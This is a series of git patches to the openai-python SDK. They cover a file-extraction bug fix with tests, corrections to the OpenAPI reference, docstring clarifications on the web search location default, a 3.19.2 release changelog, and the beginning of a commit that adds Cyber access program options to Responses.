diff --git a/pyproject.toml b/pyproject.toml
index 9b06ea0c2b..12fe29e078 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.19.0"
+version = "3.19.1"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 6dbc2a2d6c..02512a1a2a 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.19.0" # x-release-please-version
+__version__ = "3.19.1" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index fc908a349a..fba61f3f08 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1535,7 +1535,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.19.0" # x-release-please-version
+version = "3.19.1" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From bfd3680c8d3b715bb3175b82cd0fa1c1fb53162f Mon Sep 17 00:00:00 2001
From: Haokai Ding
Date: Wed, 23 Sep 2026 21:28:59 +0000
Subject: [PATCH 208/341] fix: preserve single files for fallback extraction
paths (#3875)
- [x] I understand that this repository is auto-generated and my pull
request may not be merged.
## Changes being requested
Fixes #3874.
When the Skills `files` parameter is a single file, the array extraction
path consumes it before the fallback single-file path can run. This
produces an empty JSON request instead of uploading the file.
Keep non-list values available when a path still expects an array.
Direct file extraction and list uploads retain their existing behavior.
Add bytes/tuple extraction regressions and synchronous/asynchronous
public-client tests that construct a real in-memory zip and inspect its
multipart field, filename and content through MockTransport.
## Additional context & links
- [Skills create accepts a single zip or multiple
files](https://developers.openai.com/api/reference/python/resources/skills/methods/create).
- Before the fix: 4 failed, 33 passed. After: 37 passed with
`PYTHONPATH=src .venv/bin/python -m pytest -o addopts=''
tests/test_extract_files.py tests/test_files.py -q`. Tests run serially
and make no live API requests.
- Ruff lint and format checks pass on all three changed files; `git diff
--check` passes.
- Python 3.13.15, httpx2 2.12.0, Pydantic 2.13.5 on macOS ARM64. The
full SDK suite, Pyright and mypy were not run locally.
- The custom-code policy, budget and generated ownership metadata are
unchanged. Budget validation remains with the trusted upstream CI; SDK
CODEOWNER review is required for this file-handling change.
Co-authored-by: Marcus Wood
---
src/openai/_utils/_utils.py | 2 +-
tests/test_extract_files.py | 10 ++++++++++
tests/test_files.py | 35 +++++++++++++++++++++++++++++++++++
3 files changed, 46 insertions(+), 1 deletion(-)
diff --git a/src/openai/_utils/_utils.py b/src/openai/_utils/_utils.py
index 02046a352c..95641eb158 100644
--- a/src/openai/_utils/_utils.py
+++ b/src/openai/_utils/_utils.py
@@ -114,7 +114,7 @@ def _extract_items(
try:
# Remove the field if there are no more dict keys in the path,
# only "" traversal markers or end.
- if all(p == "" for p in path[index:]):
+ if all(p == "" for p in path[index:]) and (index == len(path) or is_list(obj[key])):
item = obj.pop(key)
else:
item = obj[key]
diff --git a/tests/test_extract_files.py b/tests/test_extract_files.py
index 54490e133f..6116c42c18 100644
--- a/tests/test_extract_files.py
+++ b/tests/test_extract_files.py
@@ -41,6 +41,16 @@ def test_top_level_file_array() -> None:
assert query == {"title": "hello"}
+@pytest.mark.parametrize("file", [b"zip contents", ("skill.zip", b"zip contents")])
+def test_single_file_fallback_after_array_path(file: FileTypes) -> None:
+ query = {"files": file, "title": "hello"}
+ assert extract_files(query, paths=[["files", ""]]) == []
+ assert query == {"files": file, "title": "hello"}
+
+ assert extract_files(query, paths=[["files", ""], ["files"]]) == [("files", file)]
+ assert query == {"title": "hello"}
+
+
@pytest.mark.parametrize(
"query,paths,expected",
[
diff --git a/tests/test_files.py b/tests/test_files.py
index a94ddce0ef..51ca9f0acc 100644
--- a/tests/test_files.py
+++ b/tests/test_files.py
@@ -1,14 +1,49 @@
+import io
+import zipfile
from pathlib import Path
import anyio
+import httpx2
import pytest
+from openai import OpenAI, AsyncOpenAI
+from tests.respx2 import MockRouter
from openai._files import to_httpx_files, deepcopy_with_paths, async_to_httpx_files
from openai._utils import extract_files
+from .conftest import base_url
+
readme_path = Path(__file__).parent.parent.joinpath("README.md")
+@pytest.mark.respx2(base_url=base_url)
+@pytest.mark.asyncio
+@pytest.mark.parametrize("is_async", [False, True])
+@pytest.mark.parametrize("as_list", [False, True])
+async def test_skills_upload_zip(
+ client: OpenAI, async_client: AsyncOpenAI, respx2_mock: MockRouter, is_async: bool, as_list: bool
+) -> None:
+ buffer = io.BytesIO()
+ with zipfile.ZipFile(buffer, "w") as archive:
+ archive.writestr("SKILL.md", "---\nname: example\ndescription: Test skill\n---\n# Example\n")
+ content = buffer.getvalue()
+ file = ("skill.zip", content)
+ files = [file] if as_list else file
+ respx2_mock.post("/skills").mock(return_value=httpx2.Response(200, json={}))
+ response = (
+ await async_client.skills.with_raw_response.create(files=files)
+ if is_async
+ else client.skills.with_raw_response.create(files=files)
+ )
+ request = response.http_request
+ body = await request.aread() if is_async else request.read()
+ assert request.headers["content-type"].startswith("multipart/form-data;")
+ expected_field = b'name="files[]"' if as_list else b'name="files"'
+ assert expected_field in body
+ assert b'filename="skill.zip"' in body
+ assert body.count(content) == 1
+
+
def test_pathlib_includes_file_name() -> None:
result = to_httpx_files({"file": readme_path})
assert result == {"file": ("README.md", readme_path.read_bytes())}
From 325a948a545add0201e082e778ca11b90ddb9426 Mon Sep 17 00:00:00 2001
From: Mark Stuart
Date: Wed, 23 Sep 2026 21:57:39 +0000
Subject: [PATCH 209/341] chore(api): correct fine-tuning bounds and Realtime
response reference (#3949)
## Summary
Corrects fine-tuning numeric bounds and Realtime client-secret response
alternatives in the Python API reference.
## Changes
- Use OpenAPI 3.1 numeric exclusive bounds for fine-tuning parameters.
- Identify realtime and transcription session alternatives in
client-secret responses.
## Why
The API reference used boolean `exclusiveMinimum` values, which are
invalid in OpenAPI 3.1. This corrects seven numeric lower bounds and
restores their existing `auto` defaults. Explicit discriminator mappings
also identify the existing `realtime` and `transcription` alternatives
in client-secret responses.
This is a reference-only correction: SDK source, public types,
dependencies, and request/response serialization are unchanged.
Source: [published OpenAPI
correction](https://github.com/openai/openai-openapi/commit/946e365dd69d52ccfe49fd0a9e565504aef517bd).
## Compatibility review
Reviewed head `add92714d353df33e1ee98a604800ce8b6e6d42d` against base
`4d1274681db7f34f671ff9e71adc1461d22a927b`.
- The complete tree diff contains only `.castiron.stats.yml` and
`api_reference/openapi.transformed.yml`. All SDK source, public
signatures, related model types, serializers, dependencies, and
package/build configuration are unchanged. Neither changed file is
consumed by the SDK runtime or enters its normal distributed code.
- Paired baseline/candidate Python client and model probes pass (183
cases per revision, identical results).
- The transformed reference passes 464 focused schema cases, including
actual enclosing requests/responses, lower/upper boundaries, `auto`,
omission, and both Realtime response variants.
- [Current-head
CI](https://github.com/openai/openai-python/actions/runs/35922654398)
passes.
Scope: this establishes no identified SDK-package compile-time or
runtime compatibility regression from this patch. Tools that directly
read the OpenAPI reference (validators, mock servers, or third-party
generators) can observe the corrected bounds, defaults, and explicit
mappings; those integrations are a separate compatibility surface. No
deployed-service test or package release is claimed.
Co-authored-by: markstuart-oai <323302876+markstuart-oai@users.noreply.github.com>
---
.castiron.stats.yml | 10 ++++-----
api_reference/openapi.transformed.yml | 31 +++++++++++++++------------
2 files changed, 22 insertions(+), 19 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index e9b9830a3b..dbb0c415da 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: d9e3b632-5822-43f8-a0de-0cd04d09db33
-openapi_spec_hash: 687580b2f55d2dada661f0387a4b3e0d
-openapi_transformed_spec_hash: 904296217a5077aa14766c6c58aa87d9
+generation_id: aa310748-8aec-4537-9913-7c71cb2237cb
+openapi_spec_hash: 3fdbf56dcaf85efe1e621db8067f829a
+openapi_transformed_spec_hash: 3ff7c45d6856b5ffccfd73b63ee4263d
config_hash: 84cdcc959ee7140cc9a65e9b642c097b
-codegen_sha: 41ac0d43560df6c0983b529a6112e2c437ead2d1
+codegen_sha: 7b758af07cc10c9cf05f332897c9b75f85162bf3
codegen_hash: 614193cc88f476d3dbfe7d149d8adf21489f235af4454fb1e93628fe43e1e351
-public_codegen_sha: 2722089d4e9342c45f1ddbda6e7b4b72511d961f
+public_codegen_sha: 7eba580f1b2d7eb434697db16f576022d16b0388
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index fdf4896149..1321ea33c1 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -36954,6 +36954,7 @@ components:
description: |
Scaling factor for the learning rate. A smaller learning rate may be useful to avoid
overfitting.
+ default: auto
anyOf:
- type: string
enum:
@@ -36961,8 +36962,7 @@ components:
x-stainless-const: true
title: Auto
- type: number
- minimum: 0
- exclusiveMinimum: true
+ exclusiveMinimum: 0
n_epochs:
description: |
The number of epochs to train the model for. An epoch refers to one full cycle
@@ -41281,15 +41281,15 @@ components:
beta:
description: |
The beta value for the DPO method. A higher beta value will increase the weight of the penalty between the policy and reference model.
+ default: auto
anyOf:
- type: string
enum:
- auto
x-stainless-const: true
- type: number
- minimum: 0
maximum: 2
- exclusiveMinimum: true
+ exclusiveMinimum: 0
batch_size:
description: |
Number of examples in each batch. A larger batch size means that model parameters are updated less frequently, but with lower variance.
@@ -41305,14 +41305,14 @@ components:
learning_rate_multiplier:
description: |
Scaling factor for the learning rate. A smaller learning rate may be useful to avoid overfitting.
+ default: auto
anyOf:
- type: string
enum:
- auto
x-stainless-const: true
- type: number
- minimum: 0
- exclusiveMinimum: true
+ exclusiveMinimum: 0
n_epochs:
description: |
The number of epochs to train the model for. An epoch refers to one full cycle through the training dataset.
@@ -41369,14 +41369,14 @@ components:
learning_rate_multiplier:
description: |
Scaling factor for the learning rate. A smaller learning rate may be useful to avoid overfitting.
+ default: auto
anyOf:
- type: string
enum:
- auto
x-stainless-const: true
- type: number
- minimum: 0
- exclusiveMinimum: true
+ exclusiveMinimum: 0
n_epochs:
description: |
The number of epochs to train the model for. An epoch refers to one full cycle through the training dataset.
@@ -41402,15 +41402,15 @@ components:
compute_multiplier:
description: |
Multiplier on amount of compute used for exploring search space during training.
+ default: auto
anyOf:
- type: string
enum:
- auto
x-stainless-const: true
- type: number
- minimum: 0.00001
maximum: 10
- exclusiveMinimum: true
+ exclusiveMinimum: 0.00001
eval_interval:
description: |
The number of training steps between evaluation runs.
@@ -41469,14 +41469,14 @@ components:
learning_rate_multiplier:
description: |
Scaling factor for the learning rate. A smaller learning rate may be useful to avoid overfitting.
+ default: auto
anyOf:
- type: string
enum:
- auto
x-stainless-const: true
- type: number
- minimum: 0
- exclusiveMinimum: true
+ exclusiveMinimum: 0
n_epochs:
description: |
The number of epochs to train the model for. An epoch refers to one full cycle through the training dataset.
@@ -41649,6 +41649,7 @@ components:
description: |
Scaling factor for the learning rate. A smaller learning rate may be useful to avoid
overfitting.
+ default: auto
anyOf:
- type: string
enum:
@@ -41656,8 +41657,7 @@ components:
x-stainless-const: true
title: Auto
- type: number
- minimum: 0
- exclusiveMinimum: true
+ exclusiveMinimum: 0
n_epochs:
description: |
The number of epochs to train the model for. An epoch refers to one full cycle
@@ -51336,6 +51336,9 @@ components:
The session configuration for either a realtime or transcription session.
discriminator:
propertyName: type
+ mapping:
+ realtime: '#/components/schemas/RealtimeSessionCreateResponseGA'
+ transcription: '#/components/schemas/RealtimeTranscriptionSessionCreateResponseGA'
anyOf:
- $ref: '#/components/schemas/RealtimeSessionCreateResponseGA'
- $ref: '#/components/schemas/RealtimeTranscriptionSessionCreateResponseGA'
From a95c95ed372476168e9893723ff694ead5db8586 Mon Sep 17 00:00:00 2001
From: Marcus Wood
Date: Wed, 23 Sep 2026 23:11:09 +0000
Subject: [PATCH 210/341] chore(api): clarify approximate web search location
defaults (#3953)
## Summary
Clarifies how approximate user locations affect web search results.
## Changes
- Document that omitted or null user locations default to the United
States.
- Explain how to avoid the fallback with an approximate location
containing no location fields, or localize results with location fields.
Co-authored-by: marcuswood-oai <323319819+marcuswood-oai@users.noreply.github.com>
---
.castiron.stats.yml | 12 ++++++------
api_reference/openapi.transformed.yml | 12 ++++++++----
.../types/beta/beta_web_search_preview_tool.py | 12 ++++++++++--
.../beta/beta_web_search_preview_tool_param.py | 12 ++++++++++--
src/openai/types/beta/beta_web_search_tool.py | 14 ++++++++++++--
.../types/beta/beta_web_search_tool_param.py | 14 ++++++++++++--
.../types/responses/web_search_preview_tool.py | 12 ++++++++++--
.../responses/web_search_preview_tool_param.py | 12 ++++++++++--
src/openai/types/responses/web_search_tool.py | 14 ++++++++++++--
.../types/responses/web_search_tool_param.py | 14 ++++++++++++--
10 files changed, 102 insertions(+), 26 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index dbb0c415da..3187e77b4a 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: aa310748-8aec-4537-9913-7c71cb2237cb
-openapi_spec_hash: 3fdbf56dcaf85efe1e621db8067f829a
-openapi_transformed_spec_hash: 3ff7c45d6856b5ffccfd73b63ee4263d
+generation_id: 7e63eb4a-5670-4cc0-b884-4076bfc986bf
+openapi_spec_hash: 4bba843ccb59994fa67b0d84129af8ae
+openapi_transformed_spec_hash: 52080a33f224bf8e7670301604d34c7e
config_hash: 84cdcc959ee7140cc9a65e9b642c097b
-codegen_sha: 7b758af07cc10c9cf05f332897c9b75f85162bf3
-codegen_hash: 614193cc88f476d3dbfe7d149d8adf21489f235af4454fb1e93628fe43e1e351
-public_codegen_sha: 7eba580f1b2d7eb434697db16f576022d16b0388
+codegen_sha: 51f0864c8108de1eaf5a823e8e152495885e8191
+codegen_hash: dc4765fced94aa65178e5fbda91d2844a712ac8d8e8b7fd8993fde98dbb1cb04
+public_codegen_sha: 65730dc4902028c25ee17020a1ea67f82e7e9658
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 1321ea33c1..49ca336ab0 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -65321,7 +65321,9 @@ components:
- type: object
title: Web search approximate location
description: |
- The approximate location of the user.
+ The approximate location of the user. If omitted or null, defaults to the
+ United States. To avoid this fallback, pass `{"type": "approximate"}` without
+ location fields. To localize results, provide the relevant location fields.
properties:
type:
type: string
@@ -68574,7 +68576,7 @@ components:
user_location:
anyOf:
- $ref: '#/components/schemas/ApproximateLocation'
- description: The user's location.
+ description: 'The approximate location of the user. If omitted or null, defaults to the United States. To avoid this fallback, pass `{"type": "approximate"}` without location fields. To localize results, provide the relevant location fields.'
- type: 'null'
search_context_size:
$ref: '#/components/schemas/SearchContextSize'
@@ -84509,7 +84511,7 @@ components:
user_location:
anyOf:
- $ref: '#/components/schemas/BetaApproximateLocation'
- description: The user's location.
+ description: 'The approximate location of the user. If omitted or null, defaults to the United States. To avoid this fallback, pass `{"type": "approximate"}` without location fields. To localize results, provide the relevant location fields.'
- type: 'null'
search_context_size:
$ref: '#/components/schemas/BetaSearchContextSize'
@@ -85482,7 +85484,9 @@ components:
- type: object
title: Web search approximate location
description: |
- The approximate location of the user.
+ The approximate location of the user. If omitted or null, defaults to the
+ United States. To avoid this fallback, pass `{"type": "approximate"}` without
+ location fields. To localize results, provide the relevant location fields.
properties:
type:
type: string
diff --git a/src/openai/types/beta/beta_web_search_preview_tool.py b/src/openai/types/beta/beta_web_search_preview_tool.py
index 968e480885..967d7b7a38 100644
--- a/src/openai/types/beta/beta_web_search_preview_tool.py
+++ b/src/openai/types/beta/beta_web_search_preview_tool.py
@@ -9,7 +9,10 @@
class UserLocation(BaseModel):
- """The user's location."""
+ """The approximate location of the user.
+
+ If omitted or null, defaults to the United States. To avoid this fallback, pass `{"type": "approximate"}` without location fields. To localize results, provide the relevant location fields.
+ """
type: Literal["approximate"]
"""The type of location approximation. Always `approximate`."""
@@ -55,4 +58,9 @@ class BetaWebSearchPreviewTool(BaseModel):
"""
user_location: Optional[UserLocation] = None
- """The user's location."""
+ """The approximate location of the user.
+
+ If omitted or null, defaults to the United States. To avoid this fallback, pass
+ `{"type": "approximate"}` without location fields. To localize results, provide
+ the relevant location fields.
+ """
diff --git a/src/openai/types/beta/beta_web_search_preview_tool_param.py b/src/openai/types/beta/beta_web_search_preview_tool_param.py
index 40b245d566..c5fae46f6a 100644
--- a/src/openai/types/beta/beta_web_search_preview_tool_param.py
+++ b/src/openai/types/beta/beta_web_search_preview_tool_param.py
@@ -9,7 +9,10 @@
class UserLocation(TypedDict, total=False):
- """The user's location."""
+ """The approximate location of the user.
+
+ If omitted or null, defaults to the United States. To avoid this fallback, pass `{"type": "approximate"}` without location fields. To localize results, provide the relevant location fields.
+ """
type: Required[Literal["approximate"]]
"""The type of location approximation. Always `approximate`."""
@@ -55,4 +58,9 @@ class BetaWebSearchPreviewToolParam(TypedDict, total=False):
"""
user_location: Optional[UserLocation]
- """The user's location."""
+ """The approximate location of the user.
+
+ If omitted or null, defaults to the United States. To avoid this fallback, pass
+ `{"type": "approximate"}` without location fields. To localize results, provide
+ the relevant location fields.
+ """
diff --git a/src/openai/types/beta/beta_web_search_tool.py b/src/openai/types/beta/beta_web_search_tool.py
index bdf61e6d90..6adcf29869 100644
--- a/src/openai/types/beta/beta_web_search_tool.py
+++ b/src/openai/types/beta/beta_web_search_tool.py
@@ -22,7 +22,12 @@ class Filters(BaseModel):
class UserLocation(BaseModel):
- """The approximate location of the user."""
+ """The approximate location of the user.
+
+ If omitted or null, defaults to the
+ United States. To avoid this fallback, pass `{"type": "approximate"}` without
+ location fields. To localize results, provide the relevant location fields.
+ """
city: Optional[str] = None
"""Free text input for the city of the user, e.g. `San Francisco`."""
@@ -77,4 +82,9 @@ class BetaWebSearchTool(BaseModel):
"""
user_location: Optional[UserLocation] = None
- """The approximate location of the user."""
+ """The approximate location of the user.
+
+ If omitted or null, defaults to the United States. To avoid this fallback, pass
+ `{"type": "approximate"}` without location fields. To localize results, provide
+ the relevant location fields.
+ """
diff --git a/src/openai/types/beta/beta_web_search_tool_param.py b/src/openai/types/beta/beta_web_search_tool_param.py
index e3a3ae5621..1d6cdf5965 100644
--- a/src/openai/types/beta/beta_web_search_tool_param.py
+++ b/src/openai/types/beta/beta_web_search_tool_param.py
@@ -24,7 +24,12 @@ class Filters(TypedDict, total=False):
class UserLocation(TypedDict, total=False):
- """The approximate location of the user."""
+ """The approximate location of the user.
+
+ If omitted or null, defaults to the
+ United States. To avoid this fallback, pass `{"type": "approximate"}` without
+ location fields. To localize results, provide the relevant location fields.
+ """
city: Optional[str]
"""Free text input for the city of the user, e.g. `San Francisco`."""
@@ -79,4 +84,9 @@ class BetaWebSearchToolParam(TypedDict, total=False):
"""
user_location: Optional[UserLocation]
- """The approximate location of the user."""
+ """The approximate location of the user.
+
+ If omitted or null, defaults to the United States. To avoid this fallback, pass
+ `{"type": "approximate"}` without location fields. To localize results, provide
+ the relevant location fields.
+ """
diff --git a/src/openai/types/responses/web_search_preview_tool.py b/src/openai/types/responses/web_search_preview_tool.py
index 0de61b2821..5bd2005cbe 100644
--- a/src/openai/types/responses/web_search_preview_tool.py
+++ b/src/openai/types/responses/web_search_preview_tool.py
@@ -9,7 +9,10 @@
class UserLocation(BaseModel):
- """The user's location."""
+ """The approximate location of the user.
+
+ If omitted or null, defaults to the United States. To avoid this fallback, pass `{"type": "approximate"}` without location fields. To localize results, provide the relevant location fields.
+ """
type: Literal["approximate"]
"""The type of location approximation. Always `approximate`."""
@@ -55,4 +58,9 @@ class WebSearchPreviewTool(BaseModel):
"""
user_location: Optional[UserLocation] = None
- """The user's location."""
+ """The approximate location of the user.
+
+ If omitted or null, defaults to the United States. To avoid this fallback, pass
+ `{"type": "approximate"}` without location fields. To localize results, provide
+ the relevant location fields.
+ """
diff --git a/src/openai/types/responses/web_search_preview_tool_param.py b/src/openai/types/responses/web_search_preview_tool_param.py
index d18068586a..fc4f07c394 100644
--- a/src/openai/types/responses/web_search_preview_tool_param.py
+++ b/src/openai/types/responses/web_search_preview_tool_param.py
@@ -9,7 +9,10 @@
class UserLocation(TypedDict, total=False):
- """The user's location."""
+ """The approximate location of the user.
+
+ If omitted or null, defaults to the United States. To avoid this fallback, pass `{"type": "approximate"}` without location fields. To localize results, provide the relevant location fields.
+ """
type: Required[Literal["approximate"]]
"""The type of location approximation. Always `approximate`."""
@@ -55,4 +58,9 @@ class WebSearchPreviewToolParam(TypedDict, total=False):
"""
user_location: Optional[UserLocation]
- """The user's location."""
+ """The approximate location of the user.
+
+ If omitted or null, defaults to the United States. To avoid this fallback, pass
+ `{"type": "approximate"}` without location fields. To localize results, provide
+ the relevant location fields.
+ """
diff --git a/src/openai/types/responses/web_search_tool.py b/src/openai/types/responses/web_search_tool.py
index f6323e6642..bbdc014e7f 100644
--- a/src/openai/types/responses/web_search_tool.py
+++ b/src/openai/types/responses/web_search_tool.py
@@ -22,7 +22,12 @@ class Filters(BaseModel):
class UserLocation(BaseModel):
- """The approximate location of the user."""
+ """The approximate location of the user.
+
+ If omitted or null, defaults to the
+ United States. To avoid this fallback, pass `{"type": "approximate"}` without
+ location fields. To localize results, provide the relevant location fields.
+ """
city: Optional[str] = None
"""Free text input for the city of the user, e.g. `San Francisco`."""
@@ -77,4 +82,9 @@ class WebSearchTool(BaseModel):
"""
user_location: Optional[UserLocation] = None
- """The approximate location of the user."""
+ """The approximate location of the user.
+
+ If omitted or null, defaults to the United States. To avoid this fallback, pass
+ `{"type": "approximate"}` without location fields. To localize results, provide
+ the relevant location fields.
+ """
diff --git a/src/openai/types/responses/web_search_tool_param.py b/src/openai/types/responses/web_search_tool_param.py
index 1129babeab..1e6568a113 100644
--- a/src/openai/types/responses/web_search_tool_param.py
+++ b/src/openai/types/responses/web_search_tool_param.py
@@ -24,7 +24,12 @@ class Filters(TypedDict, total=False):
class UserLocation(TypedDict, total=False):
- """The approximate location of the user."""
+ """The approximate location of the user.
+
+ If omitted or null, defaults to the
+ United States. To avoid this fallback, pass `{"type": "approximate"}` without
+ location fields. To localize results, provide the relevant location fields.
+ """
city: Optional[str]
"""Free text input for the city of the user, e.g. `San Francisco`."""
@@ -79,4 +84,9 @@ class WebSearchToolParam(TypedDict, total=False):
"""
user_location: Optional[UserLocation]
- """The approximate location of the user."""
+ """The approximate location of the user.
+
+ If omitted or null, defaults to the United States. To avoid this fallback, pass
+ `{"type": "approximate"}` without location fields. To localize results, provide
+ the relevant location fields.
+ """
From e79cf53878b1d8580fac3a46e375eb98d9ca161d Mon Sep 17 00:00:00 2001
From: Mark Stuart
Date: Wed, 23 Sep 2026 23:39:14 +0000
Subject: [PATCH 211/341] chore(api): clarify Realtime modality array
definitions (#3954)
## Summary
Clarifies retained Realtime modality arrays in the API reference without
changing SDK types or method signatures.
## Changes
- Explicitly describe retained Realtime modality fields as arrays of
text or audio values.
- Preserve existing optionality and SDK behavior.
Co-authored-by: markstuart-oai <323302876+markstuart-oai@users.noreply.github.com>
---
.castiron.stats.yml | 10 +++++-----
api_reference/openapi.transformed.yml | 2 ++
2 files changed, 7 insertions(+), 5 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 3187e77b4a..274aa342a4 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 7e63eb4a-5670-4cc0-b884-4076bfc986bf
-openapi_spec_hash: 4bba843ccb59994fa67b0d84129af8ae
-openapi_transformed_spec_hash: 52080a33f224bf8e7670301604d34c7e
+generation_id: 4bda3ef4-13a5-473f-b0cd-6fa6b69a0db8
+openapi_spec_hash: 6fbcb590bdf88b5d464546b290ab35e7
+openapi_transformed_spec_hash: 4e4a94f25153ab253178d6c098cb4f0e
config_hash: 84cdcc959ee7140cc9a65e9b642c097b
-codegen_sha: 51f0864c8108de1eaf5a823e8e152495885e8191
+codegen_sha: c11ad8ad6a402c5cabfff79093c308035fe39644
codegen_hash: dc4765fced94aa65178e5fbda91d2844a712ac8d8e8b7fd8993fde98dbb1cb04
-public_codegen_sha: 65730dc4902028c25ee17020a1ea67f82e7e9658
+public_codegen_sha: d54ac7ae41705340870935d4d6484843cb5d9d29
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 49ca336ab0..3c69cd5bb0 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -54156,6 +54156,7 @@ components:
- realtime.session
description: The object type. Always `realtime.session`.
modalities:
+ type: array
description: |
The set of modalities the model can respond with. To disable audio,
set this to ["text"].
@@ -54369,6 +54370,7 @@ components:
- value
- expires_at
modalities:
+ type: array
description: |
The set of modalities the model can respond with. To disable audio,
set this to ["text"].
From d9f7b7a085d4f2173756590abeffeb7a8c7641dd Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Thu, 24 Sep 2026 00:00:28 +0000
Subject: [PATCH 212/341] release: 3.19.2 (#3951)
Automated Release PR
---
##
[3.19.2](https://github.com/openai/openai-python/compare/v3.19.1...v3.19.2)
(2026-09-23)
### Bug Fixes
* preserve single files for fallback extraction paths
([#3875](https://github.com/openai/openai-python/issues/3875))
([bfd3680](https://github.com/openai/openai-python/commit/bfd3680c8d3b715bb3175b82cd0fa1c1fb53162f))
### Chores
* **api:** clarify approximate web search location defaults
([#3953](https://github.com/openai/openai-python/issues/3953))
([a95c95e](https://github.com/openai/openai-python/commit/a95c95ed372476168e9893723ff694ead5db8586))
* **api:** clarify Realtime modality array definitions
([#3954](https://github.com/openai/openai-python/issues/3954))
([e79cf53](https://github.com/openai/openai-python/commit/e79cf53878b1d8580fac3a46e375eb98d9ca161d))
* **api:** correct fine-tuning bounds and Realtime response reference
([#3949](https://github.com/openai/openai-python/issues/3949))
([325a948](https://github.com/openai/openai-python/commit/325a948a545add0201e082e778ca11b90ddb9426))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 14 ++++++++++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 18 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index 3362d3a312..ca66de7f50 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.19.1"
+ ".": "3.19.2"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index c54587372e..c0b5b98ae8 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,19 @@
# Changelog
+## [3.19.2](https://github.com/openai/openai-python/compare/v3.19.1...v3.19.2) (2026-09-23)
+
+
+### Bug Fixes
+
+* preserve single files for fallback extraction paths ([#3875](https://github.com/openai/openai-python/issues/3875)) ([bfd3680](https://github.com/openai/openai-python/commit/bfd3680c8d3b715bb3175b82cd0fa1c1fb53162f))
+
+
+### Chores
+
+* **api:** clarify approximate web search location defaults ([#3953](https://github.com/openai/openai-python/issues/3953)) ([a95c95e](https://github.com/openai/openai-python/commit/a95c95ed372476168e9893723ff694ead5db8586))
+* **api:** clarify Realtime modality array definitions ([#3954](https://github.com/openai/openai-python/issues/3954)) ([e79cf53](https://github.com/openai/openai-python/commit/e79cf53878b1d8580fac3a46e375eb98d9ca161d))
+* **api:** correct fine-tuning bounds and Realtime response reference ([#3949](https://github.com/openai/openai-python/issues/3949)) ([325a948](https://github.com/openai/openai-python/commit/325a948a545add0201e082e778ca11b90ddb9426))
+
## [3.19.1](https://github.com/openai/openai-python/compare/v3.19.0...v3.19.1) (2026-09-23)
diff --git a/pyproject.toml b/pyproject.toml
index 12fe29e078..fb70a50977 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.19.1"
+version = "3.19.2"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 02512a1a2a..e7c432efa8 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.19.1" # x-release-please-version
+__version__ = "3.19.2" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index fba61f3f08..0e69bdb0f9 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1535,7 +1535,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.19.1" # x-release-please-version
+version = "3.19.2" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From 09c5b6f13f716ad4e417fd7ba9209a8a057e0383 Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Thu, 24 Sep 2026 01:55:05 +0000
Subject: [PATCH 213/341] feat(api): add Cyber access programs to Responses
(#3956)
## Summary
Adds typed support for selecting a Cyber access program when creating a
response and inspecting the resolved program on response objects.
## Changes
- Add `access_programs.cyber` to response creation parameters
- Expose the resolved Cyber access program on response models
- Support `standard`, `daybreak_blue`, and `daybreak_red` values
Co-authored-by: jbeckwith-oai <269036200+jbeckwith-oai@users.noreply.github.com>
---
.castiron.stats.yml | 12 +--
api_reference/openapi.transformed.yml | 100 ++++++++++++++++--
.../resources/beta/responses/responses.py | 26 +++++
src/openai/resources/responses/responses.py | 38 +++++++
src/openai/types/beta/beta_response.py | 8 ++
.../types/beta/beta_responses_client_event.py | 22 ++++
